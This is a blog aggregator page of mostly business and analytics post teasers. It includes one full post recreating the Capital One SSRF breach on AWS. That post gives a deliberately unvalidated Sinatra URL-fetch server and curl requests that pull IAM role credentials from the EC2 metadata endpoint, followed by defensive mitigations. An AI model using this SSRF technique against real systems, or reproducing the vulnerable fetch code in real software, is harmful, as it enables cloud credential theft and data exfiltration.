decor
 

Planet Big Data logo

Planet Big Data is an aggregator of blogs about big data, Hadoop, and related topics. We include posts by bloggers worldwide. Email us to have your blog included.

 

September 16, 2019


Datameer

Datameer X: Data Prep For Machine Learning

We are excited to reveal exciting new features in Datameer. Some new features were long-time requests from our most loyal customers and other new features are on the cutting-edge of data science....

...
 

September 15, 2019


Forrester Blogs

Does ABM Help Produce Better Revenue Results?

Join me on a stroll down ABM memory lane? In September 2016, Forrester’s B2B marketing and sales research team published our first series of reports about account-based marketing (ABM). In November,...

...
 

September 13, 2019


Forrester Blogs

Rome Was Not Built In A Day, And Neither Are Digital Businesses

As I’m returning from the Eternal City, where I’ve had the chance to walk around Rome’s Baroque architecture gems and explore its awe-inspiring art collections, I cannot stop myself from reflecting...

...

Forrester Blogs

Seeking New Opportunities To Deploy Internet Of Things (IoT) Use Cases? Check Out Our Report Highlighting Hot IoT Use Cases In 2019

Is your organization currently deploying or planning to deploy internet of things (IoT) solutions as part of your digital transformation strategy? Check out the video to hear what types of IoT use...

...

Forrester Blogs

Join Us At Forrester’s Data Strategy & Insights 2019 Forum

As a data and analytics leader, you have the means to help your company reimagine your business. There’s an opportunity for you to become a meaningful change agent in your organization. Not sure...

...

Forrester Blogs

Build An Adaptive Workforce For Customer Obsession

Henry Ford’s old dictum — “Any customer can have a car painted any color that he wants so long as it is black” — doesn’t apply in the age of the customer. Meeting customer...

...
InData Labs

NLP Challenges in Dealing with OCR-Ed Documents in Data Capture Solutions

The mission of artificial intelligence (AI) is to assist humans in processing large amounts of analytical data and automate an array of routine tasks. Powerful data can facilitate decision-making and put a business strategy on the right track. But first, somebody should harvest useful data from multiple sources. Managing documents traditionally involves many repetitive tasks...

Запись NLP Challenges in Dealing with OCR-Ed Documents in Data Capture Solutions впервые появилась InData Labs.


Forrester Blogs

How To Pick The Right Partners To Accelerate True Digital Transformation

Let’s face it, digital transformation efforts frequently overpromise and underdeliver. Many “transformations” fail to deliver on expectations simply because they are not really...

...
 

September 12, 2019


Forrester Blogs

Apple Puts The Promise Of Health Innovation In The Hands Of Consumers . . . Pun Intended

“Today’s announcement carries our commitment to health even further by engaging with participants on a larger scale than ever before.” — Jeff Williams, Apple’s chief operating officer At Apple’s...

...

Revolution Analytics

Obtaining tokens with AzureAuth inside a Shiny app

by Hong Ooi, senior data scientist, Microsoft Azure As of version 1.2.0 (released to CRAN late last month), it’s possible to use the AzureAuth package to login interactively to Azure from within a...

...

Revolution Analytics

A DevOps Process for Deploying R to Production

I've been at the EARL Conference in London this week, and as always it's been inspiring to see so many examples of R being used in production at companies like Sainsbury's, BMW, Austria Post,...

...

Forrester Blogs

EX Measurement Best Practices: What Are The Right Metrics And Data Sources?

Most companies devote so much time and attention to surveying employees that they overlook other sources of insights. What’s more, they fail to use the insights they do collect to make employee...

...

Forrester Blogs

The Future Is Unwritten: Writing The Future Of The Insurance Agency

I recently kicked off a new stream of research that will assess the future of the insurance agency. I am evaluating 5–10 years out and welcome your input. Rapidly advancing digital technologies...

...
 

September 11, 2019


Forrester Blogs

A Recession Looms — How Will You Keep Experience In Focus?

In this short video, I ask a simple question with no simple answer: How can customer service organizations avoid wild swings between a focus on experience and a focus on efficiency if macroeconomic...

...

Forrester Blogs

It’s Time To Fight For Consumer Hope

“Digital platform” is a term I first proposed more than a decade ago to describe a new breed of company that was about to dominate in our economic and social discussions. The term never...

...

Forrester Blogs

TV Is Dead! Long Live TV! (A Forrester New Wave™ On Cross-Channel Video Ad Platforms)

It’s become de rigueur for digital types to claim that traditional TV advertising is fast becoming obsolete. And they’re not entirely wrong. But they’re also not entirely right. Long and short, it’s...

...

Forrester Blogs

The Insights Beat: Plan For New Data And Analytics Supplies

Summer’s lease hath all too short a date. It always seems to pass by in the blink of an eye, and this year was no exception. Though I am excited for cooler temperatures and the prismatic colors of...

...
 

September 10, 2019


Forrester Blogs

Modernizing Core Applications With Cloud

Core software systems manage financial, customer, inventory, etc. and automate business processes like billing and merchandising. Most of these are too inflexible, outdated, and chaotic to give...

...

Forrester Blogs

How And What Insurance US Small Businesses Buy Is Changing

As insurers look at the end of the industry’s big cash cow — private-passenger auto insurance — many have amped up their small business lines. Big tech, telcos, and insurtechs are also breathing down...

...

Forrester Blogs

Hot Or Hype? What Are The Insurance Tech Investments That Will Drive Business Value In 2020?

Insurers are transforming their organizations with digital technologies. Drivers ranging from startup incubators and changing customer behavior to new risks and a potential recession are all...

...

Forrester Blogs

Cameras And Displays Sell Phones; Services Create Sticky Customers

Apple held its annual fall product event in Cupertino, CA this morning. Apple continued to put forth exciting products AND services that will differentiate it from its obvious competition.

...

Forrester Blogs

Apple: The First Hope-Based Company

It was a good day for Apple. Today’s Apple announcements largely consisted of modest, incremental improvements to its established line of products. But it also signaled Apple’s intention...

...

Forrester Blogs

Jump From Burning Platform To CX Transformation

In academia, we called it “publish or perish.” In marketing, we called it #StayRelevant. And in business, it’s the “burning platform.” It’s the idea that people’s behavior is changing and...

...

Forrester Blogs

How To Incorporate AI Into Your 2020 Healthcare Strategy

With 2020 on the horizon, leading healthcare organizations (HCOs) are starting their strategic planning. Forrester’s latest data shows that more than half of healthcare purchase influencers are...

...

Forrester Blogs

Are You Ready For AI And Automation?

The future of work is a constellation of innovations that address new or accelerating challenges for companies that aim to be customer-obsessed. High on the list of those innovations are what we can...

...
InData Labs

Big Data: Revolution To Transform Business Models

Big data refers to large sets of unstructured, semi-structured, or structured data obtained from numerous sources. Among the sources are customer databases, medical records, business transaction systems, social networks, mobile applications, and scientific experiments. Today, companies are focusing on overhauling their data architecture, consolidating data, and discarding legacy systems. Big data has a great impact...

Запись Big Data: Revolution To Transform Business Models впервые появилась InData Labs.

 

September 09, 2019


Forrester Blogs

FORRward: A Weekly Read For Tech And Marketing Execs

Le Tote Buys Lord + Taylor — A Most Peculiar Way To Buy Growth Fashion subscription company Le Tote agreed to acquire the storied (if tired) department store Lord + Taylor. We have several questions....

...

Forrester Blogs

The Forrester Wave™: ECM Content Platforms, Q3 2019

Forrester is excited to announce the recent publication of “The Forrester Wave™: ECM Content Platforms, Q3 2019” report. Watch the video below to learn how this refresh of two classic Forrester Wave...

...

Forrester Blogs

Meet Your Newest B2C Martech Analyst

Do you work with marketing resource management (MRM) or mobile engagement automation (MEA) tools? If yes, I want to hear from you! I’m Steph, the newest member of Forrester’s B2C martech research...

...

Forrester Blogs

The $5 Billion Funding Frenzy: There’s Never Been A Better Time To Rethink Your HCM Investments

Estimates of venture capital funding for HR technology point to record levels of more than $5 billion in 2019. Some of the recent activity in talent acquisition includes: Entelo acquired ConveyIQ...

...

Forrester Blogs

The Power Of “Now” CX

The value of real-time CX: differentiation, growth, and better retention. Learn more about the next frontier of CX and why Forrester developed FeedbackNow 2.0.

...
 

September 06, 2019


Forrester Blogs

Le Tote Buys Lord + Taylor — A Most Peculiar Way To Buy Growth

The strangest retail news of the summer has been Le Tote’s “purchase” of the storied (but tired) department store Lord + Taylor. The acquisition bucks the trend of offline brands buying digitally...

...

Forrester Blogs

Bake Your Values Into Your Design System — Takeaways From Clarity 2019

Having a design system is now table stakes for companies that want to scale design; drive a consistent, seamless customer experience; manage design debt and technical debt; and free up designer time...

...

Forrester Blogs

WATCH: How Marketplaces Are Disrupting B2B Tech Buying And Selling

The idea of online marketplaces is not new, especially on the consumer front, yet in the enterprise IT world, they have developed with fits and starts. But growing frustration with outdated sales...

...

Forrester Blogs

Kicking Off Our New Research On Autonomous Finance: FORR/3 Video

Forrester has recently kicked off some new research focusing on services and companies that make financial decisions and take action on behalf of consumers. You can take a very short survey on this...

...

Forrester Blogs

Non-Public 5G Networks Will Be A Critical Building Block Of Your Enterprise Network Strategy

Nonpublic 5G networks promise better privacy, data security, compliance, and cellular network performance; they also offer safer and more private features for dedicated user groups.

...

Forrester Blogs

Xerocon 2019: It’s Only Just The Beginning

Xerocon — Xero’s annual partner event held this year in Brisbane — has become the dazzling destination event for accountants, bookkeepers, and ecosystem app partners. The energy and excitement from...

...
Cloud Avenue Hadoop Tips

How the Capital One hack was achieved in the AWS Cloud?

DISCLOSURE : The intention of this blog is NOT to help others hack, but to make sure they can secure their applications built on top of AWS or some other Cloud. A few mitigations to fix the SSRF vulnerability and others have been mentioned towards the end of the blog.

Introduction

Capital One hosted their Services on AWS and it was hacked (1, 2, 3). Data was downloaded from AWS S3. It's a feature in AWS which was exploited and a misconfiguration done by the Capital One which caused the hack by an ex-AWS employee. The information about the hack was every where in the news, but it was all in bits and pieces. It took me some time to recreate the hack on my own AWS Account. This blog is about the sequence of steps to recreate the same hack using and in your AWS account.

I came across the SSRF vulnerability recently, but looks like it had been there for ages, still the different organizations using the AWS Cloud didn't patch the vulnerability. The hacker was able to get the data from 30 different organizations. Hope this documentation will help a few to fix the hole in some applications and also to design/build secure applications.

Here I am going with the assumption that the readers are familiar with the different AWS concepts like EC2, Security Group, WAF and IAM. And also that they have an account with AWS. The AWS free tier should be good enough to try the steps.


Steps to recreate the Capital One hack

Step 1: Create a Security Group - Open Port 80 for HTTP and Port 22 for SSH. Open it for MyIP using the Source IP.

Step 2: Create an Ubuntu EC2 instance of t2.micro and login via Putty. Attach the above Security Group to the Ubuntu EC2 Instance.

Step 3: Create an IAM role (Role4EC2-S3RO) with AmazonS3ReadOnlyAccess policy and attach the IAM role to the above Ubuntu EC2 instance. Attach a policy with very limited privileges like S3 RO or something else, behind which there is no critical data.

Step 4: Test the below curl command in the Ubuntu EC2 Instance to get the IAM Role credentials via EC2 Metadata Service.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-S3RO

Step 5: Install Ruby and Sinatra on the Ubuntu EC2 instance. The last command will takes a few minutes for execution.

sudo apt-get update
sudo apt-get install ruby
sudo gem install sinatra

Step 6: Create server.rb file with the below content on the Ubuntu EC2 instance. This will create a webserver. The server takes a URL as input, opens the same and sends the URL content as the output to the browser. The input URL is never validated in the below code, so we should be able to get to an internal network URL also, so was the hack.

require 'sinatra'
require 'open-uri'

get '/' do
  format 'RESPONSE: %s', open(params[:url]).read
end

The above program goes in an infinite loop. So, another Putty session has to be opened to execute the below commands.

Step 7: Get the Private IP of the Ubuntu EC2, use the same in the below command and execute it in Ubuntu EC2 instance. This will start the webserver using the above Ruby program.

sudo ruby server.rb -o 1.2.3.4 -p 80

Step 8: Run the below command in Ubuntu EC2 Instance. Make sure to replace the 5.6.7.8 with the Public IP of the Ubuntu EC2 instance. The server.rb will call google.com and return the response.

curl http://5.6.7.8:80/\?url\=https://www.google.com/

Now, run the below command. Make sure to replace the 5.6.7.8 with the Public IP of the Ubuntu EC2 instance. Notice the Security Credentials of the role attached to the Ubuntu EC2 Instance are displayed as the response to the below command.

curl http://5.6.7.8:80/\?url\=http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-S3RO

Step 9: Open the below URL in a browser from your machine, to get the Security Credentials of the IAM Role displayed in the browser.  Make sure to replace the 5.6.7.8 with the Public IP of the Ubuntu EC2 instance.

http://5.6.7.8:80?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-S3RO

This is how the Capital One and other organizations got hacked via the SSRF vulnerability. Once the Hacker got the Security Credentials via the browser, it's all about using the AWS CLI or SDK to get the data from S3 or somewhere else based on the Policy attached to the IAM Role.

Many times websites ask us to enter our LinkedIn Profile URL or Twitter URL, call the same and get more information about us. The same can be exploited to invoke any other URL to get the details behind the firewall, if the security is not configured properly. In the above command a call is made to the 169.254.169.254 (Internal Network IP) for getting the Credentials via the EC2 Metadata Service.

Step 10: Make sure to terminate the EC2 and delete the role.

Mitigations around the SSRF

Any one of the below steps would have stopped the Capital One Hack or any other.

1. Application code review for the SSRF attacks and perform proper validation of the inputs.

2. Adding a WAF rule to detect "169.254.169.254" string and block the request to reach the EC2 as shown in the diagram at the begning of the blog.

3. Make changes the Ubuntu EC2 Instance to block the calls to 169.254.169.254.
iptables -A OUTPUT -m owner ! --uid-owner root -d 169.254.169.254 -j DROP

4. Use services like AWS Macie to detect any anomalies in the data access pattern and take a preventive action. There are many 3rd party services when integrated with S3, will identify and anomaly in the S3 access patterns and notify us. I haven't worked on such tools.

5. In the case of Captial One, not sure if the EC2 required the AmazonS3ReadOnlyAccess, but it's always better to give the minimum privileges required to any resource.

Conclusion

AWS claims that their systems were secure and that it is do with the misconfiguration of the AWS WAF by Capital One and a few other like giving excessive permissions to EC2 via IAM role. I agree with it, but AWS should also not have left the EC2 metadata service wide open to anyone with access to EC2. Not sure how AWS would fix it, any changes to the EC2metadata interface would break the existing applications using the EC2 metadata service interface. The letter from AWS to US Senator Wyden on this incident is an interesting read.

To blame AWS or Capital One, at the end the customers of the 30 different organizations have to suffer.

References

Retrieving the Role Security Credentials via EC2 Metadata

EC2s most dangerous feature

What is Sinatra?

What is SSRF and code for the same

On Capital One from Krebs (1, 2)

On Capital One From Evan (1)

Technical analysis of the hack by CloudSploit

WAF FAQ
 

September 05, 2019


Forrester Blogs

Trying To Augment Intelligence With AI Fails When Data Scientists And Designers Don’t Collaborate

Augmenting human intelligence is the fastest way to get value from AI. The problem? Human-centered design (HCD) is missing from most attempts to augment human intelligence. Sure, the AI teams doing...

...

Forrester Blogs

Implications Of A Buyers’ Market For Enterprise Software, 2020–2030

As global enterprise spending on software surpasses the $1 trillion mark in the coming decade, the growth rate of software spending will slow to 4% per annum from 7% historically. A buyers’ market...

...

Forrester Blogs

The Data Protection Market Is Reforming: Hedvig Is Commvault’s Stake In The Ground

The world of data protection — once considered a static and back-office service — is changing considerably. There’s been a lot of momentum in this marketplace over the past few years, especially with...

...

Forrester Blogs

Data Strategy & Insights 2019: Reimagine To Reinvent

Discover the themes and topics we'll be tackling at this year's Data Strategy & Insights Forum.

...

Forrester Blogs

The Impact Of Learning On Your CX Transformation

When Forrester asked business leaders what priority actions they’re taking to improve employee experience, the top response was increasing access to training and skill development. Investments in...

...
 

September 04, 2019


Forrester Blogs

Learn From Telcos And Network Infrastructure Vendors About Innovations For Networked Solutions

The report “Connected Solutions Are A Catalyst For Tech-Driven Innovation” highlights how technology-driven innovation by telcos and network equipment vendors can help CIOs from outside the telecoms...

...

Forrester Blogs

FORRward: A Weekly Read For Tech And Marketing Execs

An Oklahoma court ordered Johnson & Johnson to pay $571M for involvement in “false, misleading, and dangerous marketing campaigns” that contributed to the state’s opioid crisis. Here’s both a...

...
 

September 03, 2019


Forrester Blogs

J&J Shares Recover Amid $571M Fine, But Its Reputation May Never Recoup

Last week, an Oklahoma court ordered Johnson & Johnson to pay $571 million for involvement in “false, misleading, and dangerous marketing campaigns” that contributed to the opioid addiction...

...

Forrester Blogs

Google, Facebook, And Amazon: From Advertising Duopoly To Triopoly

Google and Facebook have dominated the digital advertising landscape for much of this decade. But in the past year, a new entrant has emerged to disrupt the digital ad duopoly: Amazon. Amazon’s...

...

Forrester Blogs

Insider Threat Gets Its Own National Awareness Month

The US National Counterintelligence and Security Center has deemed September to be National Insider Threat Awareness Month to increase awareness about insider threats. 2019 is the first year that...

...
InData Labs

Using Data Science to Grow Your Business: 3 Key Areas to Consider

Data science can have incredible benefits for your business. However, it’s important to understand that it’s a solution to a problem, not a way to find the problem. It means that if your company has a lot of data that you don’t quite know what to do with, you need to figure out what you...

Запись Using Data Science to Grow Your Business: 3 Key Areas to Consider впервые появилась InData Labs.


Forrester Blogs

Is Money (Still) Too Tight To Mention? Forrester’s New Research On The Future Of Financial Well-Being

“I been laid off from work My rent is due My kids all need Brand-new shoes So I went to the bank To see what they could do They said, son — looks like bad luck Got a hold on you Money’s too tight to...

...

Forrester Blogs

5G In The Manufacturing Sector

5G and Industry 4.0 form a very powerful combination. Together, they can lift and shift the manufacturing sector to a much higher level of digitization, in particular by maximizing the mobility,...

...

Forrester Blogs

The New South Wales Government Embarks On A Bold Journey To Improve Customer Experience

Weak Government CX Harms Mission Performance As customer expectations keep rising, governments around the world struggle to improve customer experience (CX). In 2018, Australian government customer...

...
 

September 02, 2019


Forrester Blogs

New CEO Pledge Opens A Big Door For EX Improvement

Last week, Business Roundtable issued new guidance on the role of corporations, as it has periodically since 1978. This revision was significant for employee experience (EX) improvement efforts...

...

Forrester Blogs

Software Delivery Management: ERP For IT Redux?

I attended Jenkins World in San Francisco a couple weeks back. One thing that stood out was CloudBees’ advocacy of a new market concept, software delivery management (SDM). CloudBees provides...

...
decor